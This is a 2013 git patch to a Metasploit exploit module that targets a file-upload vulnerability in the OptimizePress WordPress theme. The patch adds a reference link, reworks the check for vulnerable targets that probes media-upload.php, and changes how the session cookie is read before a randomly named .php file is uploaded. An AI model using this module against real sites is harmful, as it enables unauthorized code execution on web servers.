From 57b7d89f4d55cba939f6218091d01a96525c3ef3 Mon Sep 17 00:00:00 2001 From: Mekanismen Date: Sun, 1 Dec 2013 09:06:41 +0100 Subject: [PATCH] Updated --- .../exploits/unix/webapp/php_wordpress_optimizepress.rb | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/modules/exploits/unix/webapp/php_wordpress_optimizepress.rb b/modules/exploits/unix/webapp/php_wordpress_optimizepress.rb index f725a751d5..4c5cfd5baf 100644 --- a/modules/exploits/unix/webapp/php_wordpress_optimizepress.rb +++ b/modules/exploits/unix/webapp/php_wordpress_optimizepress.rb @@ -21,6 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ + [ 'URL', "http://www.osirt.com/2013/11/wordpress-optimizepress-hack-file-upload-vulnerability/" ] ], 'Privileged' => false, 'Platform' => ['php'], @@ -42,10 +43,10 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => normalize_uri(uri, '/wp-content/themes/OptimizePress/lib/admin/media-upload.php') }) - if res and res.code == 200 - return Exploit::CheckCode::Vulnerable - else + if not res or res.code != 200 return Exploit::CheckCode::Safe + elsif res and res.code == 200 + return Exploit::CheckCode::Vulnerable end end @@ -71,7 +72,7 @@ class Metasploit3 < Msf::Exploit::Remote end #set cookie - cookie = res.headers['Set-Cookie'] + cookie = res.get_cookies filename = rand_text_alphanumeric(8) + ".php"